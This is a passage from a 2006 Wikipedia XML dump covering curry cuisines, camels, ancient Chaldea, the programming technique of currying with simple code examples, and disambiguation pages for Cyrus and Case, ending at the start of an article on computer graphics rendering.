British curries are often served in Indian restaurants. Until the early 1970s, more than three quarters of Indian restaurants in Britain were identified as being owned and run by those of [[Pakistan|Pakistani]] origin. Most of these were run by migrants from [[East Pakistan]], which became [[Bangladesh]] in [[1971]]. Until [[1998]], as many as 85% of curry restaurants in the UK were [[Bangladeshi]] restaurants [http://www.curryhouse.co.uk/scene/ethnshow.htm] but in [[2003]], this figure declined to just over 65%.[http://www.bbc.co.uk/worldservice/specials/177_food/page5.shtml] As of [[2005]], the dominance of Bangladeshi restaurants is generally declining in some parts of [[London]] and the further north one travels.  The majority in [[Bradford]] and [[Manchester]] being [[Pakistani]], [[Kashmir|Kashmiri]] and [[India|North Indian]].  In [[Glasgow]], there are more restaurants of [[Punjab region|Punjabi]] origin than any other. [http://www.menumagazine.co.uk/book/restauranthistory.html] 

Whatever the ethnic origin of a restaurant's ownership the menu will nearly always be influenced by the wider [[Indian subcontinent]] (sometimes including [[Nepal]]ese dishes), and sometimes cuisines from further afield (such as [[Cuisine of Iran|Persian dishes]]). There have also been British influences; two of the most familiar dishes served in British restaurants, [[Chicken Tikka Masala]] and [[Balti (food)|Balti]] (which is a curry designed to be eaten with a large [[naan]]), were invented in the UK (by Bangladeshi chefs). Some British variations on Indian food are now being exported from the UK to India. British-style curry restaurants are also popular in [[Australia]] and [[New Zealand]].

In a relatively short space of time, curry has become an integral part of [[British cuisine]], so much so that since the late [[1990s]], [[Chicken Tikka Masala]] has been commonly referred to as the &quot;British national dish&quot;. It is now available (albeit in frozen, microwavable form) on [[InterCity (British Rail)|Intercity]] rail trains, as a flavour for [[crisps]], and even as a [[pizza]] topping.

====The traditional British Curry House====

Although there have been Indian restaurants in Britain for many years, and in areas with large Asian populations these have remained highly authentic, the typical high-street &quot;curry house&quot; until recently served a curious and almost ritualised cuisine which bore little resemblance to any real Asian dishes.

This cuisine was characterised by the use of a common base for all the sauces to which spices are added  when individual dishes are prepared. Although the names may be similar to traditional dishes, the recipes generally are not.

* [[Korma]]/Kurma - mild, yellow in colour, with almond and coconut powder
* Curry - medium, gravy-like sauce
* [[Rogan Josh]] (from &quot;Gosht&quot;) - medium, with tomatoes
* [[Bhuna]] - medium, thick sauce, some vegetables
* [[Dhansak]] - medium/hot with lentils and pineapple
* [[Madras]] - fairly hot curry, red in colour and with heavy use of chilli powder 
* [[Pathia]] - generally similar to a Madras + lemon juice and tomato puree
* [[Vindaloo]] - a complete corruption of the Goan 'vindalho' - instead of a delightful preserved pork in vinegar with some spicing to add taste, this is the classic &quot;hot&quot; restaurant curry. The name has been corrupted such that the 'aloo' has been taken to mean 'potato', so a lump of boiled potato can usually be found at the bottom of a vindaloo.
* [[Phaal]] - extremely hot.

These sauces are typically served with &quot;lamb&quot; (usually mutton), prawns or chicken; vegetable versions are somewhat cheaper, and chicken tikka or king prawn versions more expensive.

The tandoor was introduced into Britain in the 1960s and tandoori and tikka chicken became popular dishes; [[Chicken Tikka Masala]] was said to have been invented in Glasgow when a customer demanded a sauce with a 'too dry' tikka, although it is also seen as a variant on traditional [[butter chicken]].

Other dishes may be featured with varying strengths, with those of north Indian origin, such as [[Butter Chicken]], tending to be mild, and recipes from the south of India tending to be hotter.

====Finding good Indian food in Britain====

In general, food that differs from the standard 'British Indian Restaurant' menu can be found in areas with large Asian populations. Areas where one can find good Indian food include:

* The &quot;[[Curry Mile]]&quot; on Wilmslow Road in [[Rusholme]], [[Manchester]]. 
* [[Brick Lane]] in [[East London, England|East London]] 
* [[Southall]] in West London.
* [[Drummond Street]], near [[Euston station]] in London.
* The &quot;[[Balti Belt]]&quot; in Birmingham
* [[Bradford]], particularly [[Great Horton Road]]
* [[Belgrave Road]] in [[Leicester]].

In London, Indian cooking is moving upmarket - there are now several Michelin-starred establishments serving excellent Indian food in luxurious surroundings.

===Thai cuisine===
{{See|Cuisine of Thailand}}
In Thai cuisine, curries are meat, fish or vegetable dishes in a spiced sauce. They use local ingredients such as [[chilli pepper]]s, [[Kaffir lime]] leaves and [[coconut milk]], and tend to be more aromatic than their Indian counterparts as a result. Curries are often described by colour; [[red curry|red curries]] use red chillis while [[green curry|green curries]] use green chillis. [[Yellow curry|Yellow curries]] are more similar to the Indian kind, with their use of turmeric and cumin.

===Malaysian cuisine===
{{See|Cuisine of Malaysia}}
Malaysian curries typically use coconut milk and a paste of turmeric, shallots, ginger, [[belacan]] (shrimp paste), chilis, and garlic. Tamarind is also often used. All sorts of things are curried in Malaysia, including goat, chicken, shrimp, cuttlefish, fish, fish head, eggplant, eggs, and mixed vegetables.

[[Rendang]] is a Malaysian dish that uses curry spices, although it is less watery than a conventional Malaysian curry.

===Japanese cuisine===
{{Main|Japanese curry}}
Japanese curry (カレー, ''karē'' in [[Japanese language|Japanese]]) is one of the most popular dishes in [[Japan]]. It is served in three main forms: curry (with) [[rice]], '' karē [[udon]]'' (thick [[noodles]]) and [[curry bread|'' karē-pan'']] ([[bread]]). It is usually thicker, sweeter and not as hot as its Indian equivalent.

A wide variety of vegetables and meats are used to make Japanese curry. The basic vegetables are [[onions]], [[carrots]], and [[potatoes]]. Sometimes grated [[apple]]s or [[honey]] are added for additional sweetness. For the meat, [[pork]], [[beef]] and [[chicken]] are the most popular, in order of decreasing popularity. In [[Tokyo]], pork is the most popular meat for curry by far, while in [[Osaka]], beef is the most common. ''Katsu-karē'' is a deep-fried pork cutlet in breadcrumbs with curry sauce.

Curry was introduced to [[Japan]] during the [[Meiji era]] (1869 - 1913), at a time when [[India]] was colonised by the [[British]]. Because of that, curry in [[Japan]] is categorized as [[Western cuisine|Western dish]] instead of an [[Asian cuisine|Asian dish]].

===Elsewhere===
Other countries have their own varieties of curry, well known examples include:

* [[Cuisine of Sri Lanka|Sri Lanka]]: [[Rice and curry]] meals
* [[Cuisine of Indonesia|Indonesia]]: [[Rendang]]s, meat or chicken curries with thick brown coconut sauce.
* [[Cuisine of South Africa|South Africa]]: Cape malay curries
* [[Caribbean cuisine|Caribbean]]: Curried [[goat]]
* The [[Cuisine of the Philippines|Philippines]]: [[Kare-kare]]

[[Cambodia]], [[Hawaii]], the [[United States]], [[Myanmar]], [[China]] and [[Singapore]] also have their own versions of curry. [http://wellington.thursdaynightcurry.com/ TNC in NZ] also has its own version of the mighty dish.

Curry powder is used as an incidental ingredient in other cuisines, including for example a &quot;curry sauce&quot; (''sauce au curry'', sometimes even ''au cari'') variation of the classic French [[béchamel]].

In [[Iranian cuisine]], a mix called &quot;advieh&quot; is used in many stews and rice dishes. It is similar to some curries.  Ingredients in the mix vary, but may include cinnamon, cardamom,cumin, coriander, tumeric, black pepper, cloves, allspice, dried rose petals, and ground ginger.

In [[Trinidad and Tobago]] and [[Guyana]] curry is a very popular dish among the Indo-Caribbean communities.  The indentured servents that were brought over from India by the British, brought this dish, as well as their culture, to the West Indies.

==Curry addiction==
A number of studies have claimed that the reaction of pain receptors to the hotter ingredients in curries, even a Korma, leads to the body's release of [[endorphin]]s and combined with the complex sensory reaction to the variety of spices and flavours, a natural high is achieved that causes subsequent cravings, often followed by a desire to move on to hotter curries. Some refer to this as [[addiction]], but other researchers contest the use of the word &quot;addiction&quot; in this instance.[http://news.bbc.co.uk/1/hi/health/989256.stm] Additionally, curry addiction is an example of a ''[[colloquial]]'' use of the word &quot;addiction&quot; as the medical definition of the word requires continued use despite harmful effects.

== Ingredients ==
=== Thickeners ===
* [[Besan]] (chickpea/garbanzo flour)
* onions/shallots
* cream
* [[coconut milk]]
* yogurt
* nuts

=== Spices ===
* [[allspice]]
* [[anise|anise seed]]
* [[asafoetida]] (''hing'')
* [[bunium persicum|black cumin]]
* [[black pepper]]
* [[cardamom]]
* [[chile pepper]]s (dried red)
* [[cinnamon]]
* [[cloves]]
* [[coriander]]
* [[cumin]] seeds
* [[fennel]]
* [[fenugreek]] seeds
* [[garam masala]]
* [[mace (spice)|mace]]
* [[mustard seed]]s
* [[nigella sativa|nigella]] (kalonji)
* [[nutmeg]]
* [[poppy]] seeds
* [[saffron]]
* [[turmeric]]

=== Sour ingredients ===
* [[vinegar]]
* [[tamarind]]
* [[Lime (fruit)|lime]]
* [[amchoor]] (dried mango powder, also spelled 'amchur'.)

=== Fresh herbs and spices ===
* [[garlic]]
* [[ginger]]
* [[coriander]] (cilantro) leaves
* curry leaves
* [[bay leaf|bay leaves]]
* [[kaffir lime]] leaves
* [[chillies]]
* [[onion]]

=== Other ===
* [[ghee]] (clarified butter)

==Curry powder==
[[Curry powder]], also known as [[masala]] powder, is a spice mixture of widely varying composition developed by the British during the [[British Raj|Raj]] as a means of approximating the taste of Indian cuisine at home. [[Masala]] refers to spices, and this is the name given to the thick pasty liquid sauce of combined spices and ghee (clarified butter), butter, palm oil or coconut milk. In India, Masala is a spice of its own and is a reddish colored powder added to curries.

==Curry leaves==
'''Curry leaves''' are the young leaves of the [[curry tree]] (''Chalcas koenigii''), a member of the [[Rutaceae]] family that grows wild and in gardens all over India. Fresh curry leaves are oval in shape and best used at about 1 inch in length.  They have a pungent and bitter smell much like the leaves of a citrus tree.  Leaves are typically fried until browned, then cook with the dish.  Before serving, the leaves are removed.  Leaves are most powerful when fresh, but can be dried and used to less effect.

==See also==
*[[List of ethnic slurs]], Curry or Curry Muncher as ethnic slurs
*[[Rice and curry]]

==External links==
{{cookbook|curry}}
[http://www.house-foods.com/our_products/imported_products.html House Foods Curry]

[[Category:Indian cuisine]]
[[Category:British cuisine]]
[[Category:Thai cuisine]]
[[Category:Malaysian cuisine]]

[[bg:Къри]]
[[de:Curry]]
[[es:Curry]]
[[eo:Kareo]]
[[fr:Curry]]
[[nl:Kerrie]]
[[ja:カレー]]
[[no:Karri]]
[[nn:Karri]]
[[pl:Curry]]
[[sl:Curry]]
[[fi:Curry]]
[[sv:Curry]]
[[zh:咖哩]]</text>
    </revision>
  </page>
  <page>
    <title>Camel</title>
    <id>6598</id>
    <revision>
      <id>42127336</id>
      <timestamp>2006-03-04T00:20:17Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.128.131.74|71.128.131.74]] ([[User talk:71.128.131.74|Talk]]) to last version by TShilo12</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox 
| color = Pink
| name = Camels
| image = Bactrian_Camel.jpg
| image_width = 240px
| image_caption = [[Bactrian Camel]]
| image2 = Dromedary.02.jpg
| image2_width = 240px
| image2_caption = [[Dromedary]]
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| subordo = [[Tylopoda]]
| familia = [[Camelidae]]
| genus = '''''Camelus'''''
| genus_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = Species
| subdivision = 
''[[Camelus bactrianus]]''&lt;br /&gt;
''[[Camelus dromedarius]]''
}}

A '''camel''' is either of the two species of large [[even-toed ungulate]] in the [[genus]] '''''Camelus''''', the  [[Dromedary]] (single hump) and the [[Bactrian Camel]] (double hump). Both are native to the dry and [[desert]] areas of [[Asia]] and northern [[Africa]]. The average life expectancy of a camel is 30 to 50 years.

The term ''camel'' is also used more broadly, to describe any of the six camel-like creatures in the family [[Camelidae]]: the two true camels, and the four South American camelids: [[Llama]], [[Alpaca]], [[Guanaco]] and [[Vicuna]]. For an overview of the camel family, see [[Camelidae]]. For more information on the two true camels, see [[Dromedary]] and [[Bactrian Camel]].

The name ''camel'' comes via the [[Greek (language)|Greek]] ''kamelos'' from the [[Arabic (language)|Arabic]] ''jamal'' or the [[Hebrew (language)|Hebrew]] ''gahmal'', all meaning &quot;camel&quot;.

Bactrian camels have two coats: the warm inner coat of down and a rough outer coat which is long and hairy. They shed their fiber in clumps consisting of both coats and is normally gathered. They produce about 5 pounds of fiber annually. The fiber structure is similar to [[cashmere]]. The down is usually 1-3 inches long. Camel down does not felt easily. The down is spun into [[yarn]] for [[knitting]].

Humans first domesticated camels approximately 5,000 years ago.  The Dromedary and the Bactrian Camel are both still used for milk, meat, and as [[working animal|beasts of burden]]&amp;mdash;the Dromedary in northern Africa and western Asia; the Bactrian Camel further to the north and east in central Asia.

== Distribution and numbers ==
Although there are almost 13 million Dromedaries alive today, the species is extinct in the wild: all but a handful are domesticated animals (mostly in [[Sudan]], [[Somalia]], [[India]] and nearby countries), as well as [[South Africa]], [[Namibia]] and [[Botswana]]. There is, however, a substantial [[feral]] population estimated at 700,000 in central parts of [[Australia]], descended from individuals that escaped from captivity in the late [[19th century]]. This population is growing at approximately 11% per year and in recent times the state government of [[South Australia]] has decided to cull the animals using aerial marksmen, the reason being that the camels use too much of the limited resources needed by sheep farmers.  For more information, see [[Australian feral camel]].

The Bactrian Camel once had an enormous range, but is now reduced to an estimated 1.4 million animals, mostly domesticated. It is thought that there are about 1000 wild Bactrian Camels in the [[Gobi Desert]], and small numbers in [[Iran]], [[Afghanistan]], [[Turkey]] and [[Russia]].

A small population of introduced camels, Dromedaries and Bactrians, survived in the [[Southwest United States]] until the early [[20th century|1900s]]. These animals, imported from Turkey, were part of the [[US Camel Corps]] experiment and used as draft animals in mines, and escaped or were released after the project fell through.

==Camel Hybrids==
[[Image:Désert-du-Thar.jpg|right|thumb|250px|Throughout their domesticated history, Camels have been used as a means of transportation in arid regions. Shown here is a local tribe near [[Jaisalmer]], [[India]]]]

Bactrian camel have 2 humps and are rugged cold-climate camels while Dromedaries have one hump and are desert dwellers. Bactrian/Dromedary hybrids are called Bukhts, are larger than either parent, have a single hump and are good draft camels. The females can be mated back to a Bactrian to produce three-quarter bred riding camels. These hybrids are found in Kazakhstan.

The [[Cama]] is a camel/[[llama]] hybrid bred by scientists who wanted to see how closely related the parent species were. The Dromedary Camel is six times the weight of a Llama, hence artificial insemination was required to impregnate the Llama female (Llama male to Dromedary female have proven unsuccessful). Though born even smaller than a Llama calf, the Cama had the short ears and long tail of a camel, no hump and Llama-like cloven hooves rather than the Dromedary-like pads. At four years old, the Cama became sexually mature and interested in Llama and Guanaco females. A second Cama (female) has since been produced using artificial insemination. Because Camels and Llamas both have 74 chromosomes, scientists hope that the Cama will be fertile. If so, there is potential for increasing size, meat/wool yield and pack/draft ability in South American camels. The Cama apparently inherited the poor temperament of both parents as well as demonstrating the relatedness of the New World and Old World camelids.

The South American Camelids can be hybridized. 
* A male Alpaca/female Llama results in a Huarizo. 
* A male Vicuna/female Alpaca results in a Paco-vicuna. 
* A female Alpaca/male Llama results in a Misti. 
* A male Vicuna/female Llama results in a Llamo-vicuna. 
* A male Alpaca/female Guanaco results in a Paco-guanaco. 
* A male Guanaco/female Llama results in a Llama-guanaco (unusual in that the sire's name should form the first part of the hybrid's name). 
* A Llama/Alpaca cross which resembles the Llama parent is also known as a Warilla; but if it resembles the Alpaca parent it is called a T'aqa.

== Adaptations to desert environment ==

Camels are well known for their humps. They do not store water in them as is commonly believed. Their humps are a reservoir of fatty tissue, while water is stored in their blood. However, when this tissue is metabolised, it is not only a source of energy, but yields through reaction with oxygen from the air 1111 g of water per 1000 g of fat. This allows them to survive without water for about two weeks, and without food for up to a month.

Their [[red blood cell]]s have an oval shape, unlike those of other animals, which are circular. This is to facilitate their flow in a [[Dehydration|dehydrated]] state. These cells are also more stable[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=816376&amp;dopt=Abstract], in order to withstand high [[Osmosis|osmotic]] variation without rupturing, when drinking large amounts of water.

Camels are able to withstand changes in [[body temperature]] and water content that would kill most other animals. Their temperature ranges from 34&amp;deg;C at night up to 41&amp;deg;C at day; only above this threshold they start to sweat. This allows them to preserve about five litres of water a day. However, they can withstand at least 25% weight loss due to sweating.

The thick coat reflects sunlight. A shaved camel has to sweat 50% more to avoid overheating.

Their mouth is very sturdy, to be able to eat thorny desert plants. Long eyelashes and ear hairs, together with sealable nostrils prevent sand from entering. Their pace (always moving both legs of one side at the same time) and their widened feet help them move without sinking in.

== See also ==
* [[Camel racing]]

== External links ==
*[http://abbott-infotech.co.za/kalahari-use-of-camels-by-south-african-police.html Use of camels by South African police]
*[http://www.icar.org.in/nrccm/home.html National Camel Research Centre, Bikaner (Rajasthan), INDIA] 
*[http://www.andycarvin.com/archives/2006/01/the_daily_grind.html The Daily Grind: Two Camels At Work] - Video of camels pressing olive oil and cutting grass in [[Djerba]], [[Tunisia]]
*[http://www.arab.net/camels/ The A-Z of Camels]

{{Camelids}}
[[Category:Camelids]]
[[Category:Livestock]]

[[af:Kameel]]
[[ca:Camell]]
[[cs:Velbloud]]
[[cy:Camel]]
[[de:Altweltkamele]]
[[es:Camello]]
[[eo:Kamelo]]
[[fr:Chameau]]
[[gl:Camelo]]
[[he:גמל]]
[[ia:Camelo]]
[[it:Dromedario]]
[[io:Kamelo]]
[[ko:낙타]]
[[hu:Teve]]
[[nl:Kamelen]]
[[no:Kamel]]
[[ja:ラクダ]]
[[pl:Wielbłąd]]
[[pt:Camelus]]
[[ru:Верблюд]]
[[simple:Camel]]
[[sv:Kamel]]
[[tr:deve]]
[[vi:Lạc đà]]
[[zh:骆驼]]</text>
    </revision>
  </page>
  <page>
    <title>Chaldea</title>
    <id>6599</id>
    <revision>
      <id>41204871</id>
      <timestamp>2006-02-25T19:47:50Z</timestamp>
      <contributor>
        <username>Garzo</username>
        <id>140345</id>
      </contributor>
      <comment>copyedit</comment>
      <text xml:space="preserve">{{Template:Ancient Mesopotamia}}

'''Chaldea''', &quot;the Chaldees&quot; of the [[King James Version of the Bible|KJV]] [[Old Testament]], was a [[Hellenistic]] designation for a part of [[Babylonia]].   One early such reference is to the impending sack of [[Jerusalem]] by [[Nebuchadnezzar II]] ([[Book of Habakkuk|Habakkuk]] 1:6). The [[Hebrew language|Hebrew]] name for ancient Chaldeans was כשדים (''Kaśdim'').

The ''[[Book of Genesis]]'' narrative of Abraham places him at [[Ur]], which was at a later time the country of the ''kasdim''&amp;mdash; the &quot;Chaldeans&quot;, or just possibly the &quot;[[Kassites]]&quot;. The toponymy is that of the Neo-Babylonian period of the Torah editors, not that of the supposed time of the original patriarch of the Hebrew people himself.

The 11th dynasty of the [[Kings of Babylon]] ([[6th century BC]]) is conventionally known to historians as the [[Chaldean Dynasty]]. Their kingdom in the southern portion of [[Babylonia]] lay chiefly on the right bank of the Euphrates. Though the name came to be commonly used to refer to the whole of  Mesopotamia, Chaldea proper was the vast plain in the south formed by the deposits of the [[Euphrates]] and the [[Tigris]], extending to about four hundred miles along the course of these rivers, and about a hundred miles in average width.

==People==
The '''Chaldeans''' settled in southern Mesopotamia in the early part of the first millennium BC.  Their language was [[Aramaic language|Aramaic]], and they settled much further to the south than the [[Arameans]], who settled in northern Mesopotamia and [[Aramea|Aram]]. They were one of the later tribes to leave the [[Arabian Peninsula|&quot;Arabian&quot; Peninsula]] and to settle in the [[Fertile Crescent]].

In modern times, there are several hundred thousands members of the [[Chaldean Catholic Church]] (in [[Assyrians in Iraq|Iraq]], [[Assyrians in Iran|Iran]] and in the [[Assyrian diaspora|diaspora]], whose name was given by the Pope in the 16th century. Some of them claim descent from the ancient Chaldeans, others from the ancient Assyrians, and a majority of their parties and other organisartions agreed in 2003 to be called Chaldo-assyrians (see also ''[[Assyrian people]]'').

==Politics==
The Chaldean influence was felt in Babylonian politics. Several 9th and 8th century BC Babylonian kings were of Chaldean origin. The Chaldeans formed some of the strongest resistance to Assyrian rule. King [[Marduk-apal-iddina II]] resisted the Assyrians in the times of [[Sargon II]] and the early years of [[Sennacherib]]. King [[Mushezib-Marduk]] was king just before Sennacherib's sack of Babylon in [[689 BC]].

When Babylonia finally reestablished its independence, it was under the [[Chaldean Dynasty]] of king [[Nabopolassar]].  After the conquest of Babylonia by the [[Persians]], the Chaldeans disappear as an independent nation.

==&quot;Chaldean&quot; Astrologers and Magicians==
[[Ancient Rome|Roman]] and later authors used the name Chaldeans in particular for [[astrology|astrologers]] and [[mathematics|mathematicians]] from Babylonia.


[[Category:Ancient peoples]]
[[Category:Babylonia]]
[[Category:Aramaeans]]
[[Category:Chaldeans]]
[[Category:Assyria]]

[[de:Chaldäer]]
[[es:Caldea]]
[[fr:Chaldée]]
[[it:Caldei]]
[[ja:新バビロニア]]
[[pt:Caldéia]]
[[sv:Kaldeen]]
[[zh:新巴比倫王國]]

==External links and References==
*[http://www.jewishencyclopedia.com/view.jsp?artid=336&amp;letter=C&amp;search=chaldea Jewish Encyclopedia: Chaldea]
*[http://www.britannica.com/ebc/article-9022273?tocId=9022273 Encyclopedia Britannica: Chaldea]
*[http://www.studylight.org/lex/heb/view.cgi?number=03778 Study Light: Kasidy]</text>
    </revision>
  </page>
  <page>
    <title>Currying</title>
    <id>6600</id>
    <revision>
      <id>40941219</id>
      <timestamp>2006-02-24T00:38:46Z</timestamp>
      <contributor>
        <username>Fleminra</username>
        <id>44454</id>
      </contributor>
      <comment>+ C++ STL/Boost currying</comment>
      <text xml:space="preserve">In [[computer science]], '''currying''' is the technique of transforming a [[function (programming)|function]] taking multiple [[parameter (computer science)|argument]]s into a function that takes a single argument (the first of the arguments to the original function) and returns a new function that takes the remainder of the arguments and returns the result.  The technique was named by [[Christopher Strachey]] after logician [[Haskell Curry]], though it was invented by [[Moses Schönfinkel]] and [[Gottlob Frege]].

Intuitively, currying says &quot;if you fix some [[parameter (computer science)|argument]]s, you get a function of the remaining arguments&quot;. So if you take the function in &lt;em&gt;two&lt;/em&gt; variables &lt;math&gt;y^x&lt;/math&gt;, and &lt;em&gt;fix&lt;/em&gt; &lt;math&gt;y=2&lt;/math&gt;, then you get the function in &lt;em&gt;one&lt;/em&gt; variable &lt;math&gt;2^x&lt;/math&gt;.

In [[theoretical computer science]], currying provides a way to study functions with multiple arguments in very simple theoretical models such as the [[lambda calculus]] in which functions only take a single argument.

The practical motivation for currying is that very often the functions you get by supplying some but not all of the arguments to a curried function are useful; for example, many languages have a function or operator similar to &lt;code&gt;plus_one&lt;/code&gt;. Currying makes it easy to define these functions.

Some [[programming language]]s have [[syntactic sugar]] for currying, notably [[ML programming language|ML]] and [[Haskell programming language|Haskell]].  Any language that supports functions as [[first-class object]]s, including [[Lisp programming language|Lisp]], [[Perl]], [[Ruby programming language|Ruby]], [[Python programming language|Python]] and [[JavaScript]] can be used to write curried functions.

==Examples==
Suppose that &lt;code&gt;plus&lt;/code&gt; is a function taking two arguments &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; and returning &lt;code&gt;x + y&lt;/code&gt;.  In the [[ML programming language]] we would define it as follows:

    plus = fn(x, y) =&gt; x + y

and &lt;code&gt;plus(1, 2)&lt;/code&gt; returns &lt;code&gt;3&lt;/code&gt; as we expect.

The '''curried''' version of &lt;code&gt;plus&lt;/code&gt; takes a single argument &lt;code&gt;x&lt;/code&gt; and returns a new function which takes a single argument &lt;code&gt;y&lt;/code&gt; and returns  &lt;code&gt;x + y&lt;/code&gt;.  In ML we would define it as follows:

    curried_plus = fn(x) =&gt; fn(y) =&gt; x + y

and now when we call &lt;code&gt;curried_plus(1)&lt;/code&gt; we get a new function that adds 1 to its argument:

    plus_one = curried_plus(1)

and now &lt;code&gt;plus_one(2)&lt;/code&gt; returns &lt;code&gt;3&lt;/code&gt; and &lt;code&gt;plus_one(7)&lt;/code&gt; returns &lt;code&gt;8&lt;/code&gt;.

When declaring functions in the strictly-typed [[OCaml programming language]], the type returned by a function shows the Curried form of the function. Typing the function into the OCaml [[Interpreter (computing)|interpreter]] displays the type immediately:

    # let plus x y = x + y ;;
    val plus : int -&gt; int -&gt; int = &lt;fun&gt;

===C++===
Currying may be achieved in [[C++]] using the [[Standard Template Library]] function object adapters (&lt;code&gt;binder1st&lt;/code&gt; and &lt;code&gt;binder2nd&lt;/code&gt;), and more generically using the [[Boost library|Boost]] &lt;code&gt;bind&lt;/code&gt; mechanism.

Here is another way to do currying in C++ (from [http://www.codepost.org/view/103#comment350 this comment] on codepost.org):

The plus function:

    int plus(int x, int y) {
        return x + y;
    }

The '''curried''' version of &lt;code&gt;plus&lt;/code&gt;:

    class curried_plus {
    private:
        int x;
    public:
        curried_plus(int _x) : x(_x) { ; }
        int operator () (int y) const {
            return plus(x, y);
        }
    };

and the usage:

    curried_plus plus_one(1);

now &lt;code&gt;plus_one(2)&lt;/code&gt; returns &lt;code&gt;3&lt;/code&gt;.

==Mathematical view==
When viewed in a set-theoretic light, currying becomes the [[theorem]] that the set
&lt;math&gt;A^{B\times C}&lt;/math&gt; of functions from
&lt;math&gt;B\times C&lt;/math&gt; to &lt;math&gt;A&lt;/math&gt;, and the set &lt;math&gt;(A^B)^C&lt;/math&gt; of functions from
&lt;math&gt;C&lt;/math&gt; to the set of functions from &lt;math&gt;B&lt;/math&gt; to &lt;math&gt;A&lt;/math&gt;,
are [[isomorphic]].

In other words, currying is the statement that product and Hom are [[adjoint functors]];
this is the key property of being a [[Cartesian closed category]].

==See also==
*[[Lazy evaluation]]
*[[Closure (computer science)]]
*[[S-m-n theorem]]

[[Category:Functional programming]]
[[Category:Mathematical logic]]
[[Category:Lambda calculus]]

[[de:Currying]]
[[fr:Curryfication]]</text>
    </revision>
  </page>
  <page>
    <title>Cyrus (disambiguation)</title>
    <id>6601</id>
    <revision>
      <id>42026694</id>
      <timestamp>2006-03-03T08:15:55Z</timestamp>
      <contributor>
        <username>Fastifex</username>
        <id>411070</id>
      </contributor>
      <comment>Cyrus II (Pahlavi); Cyrus of Alexandria</comment>
      <text xml:space="preserve">The name '''Cyrus''' (or '''Kourosh''' in [[Persian language | Persian]], '''Kyros''' in Greek) may refer to:

Persian rulers and princes:
* [[Cyrus I of Anshan]], [[List of kings of Persia|King of Persia]] around 650 [[Anno Domini|BC]]
* [[Cyrus II of Persia | Cyrus II the Great]], Achaemenid [[List of kings of Persia|King of Kings of Persia]] 559 BC - 529 BC &amp;mdash; See also [[Cyrus in the Judeo-Christian tradition]] and [[Cyrus the Great in the Quran]]
* [[Cyrus the Younger]], brother to the Persian King of kings [[Artaxerxes II of Persia|Artaxerxes]] &amp;mdash; died 401 BC
*[[Cyrus Reza II Pahlavi]], pretender to the modern Iranian imperial throne, 'succeeded' his father Mohammed Reza Pahlavi in exile

Furthermore:
* [[Cyrus of Alexandria]], a Melchite Patriarch and co-founder of [[Monothelism]]
* [[Cyrus (Chrono Trigger)|Cyrus]] is the name of a character in the video game ''[[Chrono Trigger]]''
* [[Cyrus (imapd)]] &amp;mdash; a mail server meant to be run on a sealed system.
* [[Cyrus Poncha]] &amp;mdash; National [[Squash Coach]] India
* [[Don Callis]] &amp;mdash; a [[professional wrestling|professional wrestler]] who competed as '''Cyrus'''.
* '''Cyrus''', another moniker of [[Basic Channel]]'s [[Moritz Von Oswald]] and Mark Ernestus 
* Cyrus, a brand of audio hardware.
* [[Cyrus Broacha]],MTV India VJ
* [[Cyrus Sahukar]],MTV India VJ.

{{disambig}}

[[de:Kyros]]
[[es:Ciro]]
[[fa:کوروش]]
[[nl:Cyrus]]
[[pl:Cyrus]]
[[pt:Ciro]]
[[sv:Kyros]]</text>
    </revision>
  </page>
  <page>
    <title>Case</title>
    <id>6603</id>
    <revision>
      <id>42062468</id>
      <timestamp>2006-03-03T15:25:33Z</timestamp>
      <contributor>
        <ip>63.157.131.36</ip>
      </contributor>
      <text xml:space="preserve">'''Case''' can refer to:

General:

* Erik and Rachel's Fantastic case that the nice judge should vote for.
* [[Legal case]], a dispute between opposing parties resolved by a court.
* A term of [[jurisprudence]], referring to the [[evidence (law)|evidence]] against a [[defendant]] or [[suspect]]
* [[Suitcase]], [[briefcase]], [[attaché case]], [[packing case]] or similar.
* [[Bookcase]] or [[casement]] [[window]] an enclosure desinged to hold something.
* A computer [[chassis]]. See [[computer case]].
* [[Letter case]] in [[typography]] (the distinction between [[majuscule]] and [[minuscule]] letter forms) or [[sentence case]]
* An instance or [[example]] (see also [[case study]])
* Cases in [[morphology (linguistics)|linguistic morphology]]; see [[declension]] and [[list of grammatical cases]]
* [[Computer-aided software engineering]] (CASE)
* Shakespearean English:   A container or covering; (applied to) a mask.  Like [[vizard]].
* To reconnoiter or to get an understanding of a location (''slang'')

People, organisations, places:
* ''[[Case Corporation]]'', equipment manufacturer, see [[International Harvester]]
* [[Steve Case]], head of [[AOL Time Warner]]
* [[Case (Neuromancer)|Case]], the protagonist of [[William Gibson (novelist)|William Gibson]]'s [[Neuromancer]]
* [[Case Western Reserve University]], an independent research university in [[Cleveland, Ohio]].
* [[Case (singer)|Case]], an [[R&amp;B]] singer singed to the [[Def Soul]] label, with hits such as &quot;Touch Me, Tease Me&quot; and &quot;Missing You&quot;.

*Neighborhoods of the [[Italy|Italian]] city of [[Cesena]] (Pronunciation: KAH-zeh):
**Case Castagnoli 
**Case Missiroli 
**Case Gentili
**Case Scuola Vecchia
**Case Venzi
*Case (KAH-seh) is also a plural form of the [[Italian language|Italian]] word [[wikt:en:casa|casa]].

==See also==
{{Wiktionary}}
*[[Casa]]
*[[Case analysis]]
*[[Best, worst and average case]]

{{disambig}}

[[ja:&amp;#12465;&amp;#12540;&amp;#12473;]]</text>
    </revision>
  </page>
  <page>
    <title>Rendering (computer graphics)</title>
    <id>6604</id>
    <revision>
      <id>42051179</id>
      <timestamp>2006-03-03T13:36:01Z</timestamp>
      <contributor>
        <username>Hxa7241</username>
        <id>109064</id>
      </contributor>
      <comment>removed off-topic, non-informative, external link</comment>
      <text xml:space="preserve">'''Rendering''' is the process of generating an image from a model, by means of a software program. The model is a description of three dimensional objects in a strictly defined language or data structure. It would contain geometry, viewpoint, [[texture mapping|texture]] and [[lighting]] information. The image is a [[digital image]] or [[raster graphics]] [[image]]. The term may be by analogy with an &quot;artist's rendering&quot; of a scene. 'Rendering' is also used to describe the process of calculating effects in a video editing file to produce final video output.

